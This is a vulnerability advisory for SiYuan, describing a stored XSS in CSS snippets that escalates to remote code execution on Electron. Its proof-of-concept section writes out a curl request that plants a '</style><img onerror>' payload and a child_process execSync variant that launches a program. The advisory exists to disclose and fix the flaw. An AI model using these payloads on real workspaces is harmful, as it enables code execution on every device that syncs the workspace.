Skip to content

GHSA-mvjr-vv3c-w4qv CVE-2026-54067 GO-2026-5963

SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet()

Critical Go
Severity
9.9 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 32.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1188 Initialization of a Resource with an Insecure Default
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
0.0.0-20260628153353-2d5d72223df4
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.

The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Sink: app/src/config/util/snippets.ts:32
  • Source: /api/snippet/getSnippet, backed by data/snippets/conf.json
  • Default config: EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322

The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:

snippet := &conf.Snippet{
    ID:      m["id"].(string),
    Name:    m["name"].(string),
    Type:    m["type"].(string),
    Content: m["content"].(string),
    Enabled: m["enabled"].(bool),
}

Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.

The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:

fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
  response.data.snippets.forEach((item: ISnippet) => {
    const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
    if (item.type === "css") {
      document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
    } else if (item.type === "js") {
      // intentional script-loading path
    }
  });
});

${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.

Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.

Suggested fix

The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:

if (item.type === "css") {
  const el = document.createElement("style");
  el.id = id;
  el.textContent = item.content;
  document.head.appendChild(el);
}

textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.

If touching that line is undesirable, the smaller patch is to escape < before interpolation:

const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&amp;" : "&lt;");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);

Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.

PoC

Stand up SiYuan:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Plant the snippet:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -X POST http://localhost:16806/api/snippet/setSnippet \
  -H "Content-Type: application/json" \
  -H "Authorization: Token $TOKEN" \
  -d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'

Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.

Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:

({
  markerFired: window.__siyuan_xss === true,
  styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
  imgsInHead: document.head.querySelectorAll('img').length,
  snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})

Result from my run on 2026-05-19 against b3log/siyuan:latest:

{
  "markerFired": true,
  "styleCount": 1,
  "imgsInHead": 1,
  "snippetStyleEmpty": true
}

document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.

The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260628153353-2d5d72223df4
0.0.0-20260628153353-2d5d72223df4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260628153353-2d5d72223df4

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260628153353-2d5d72223df4 && go mod tidy

Severity breakdown

CVSS 3.1 9.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-1188: Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor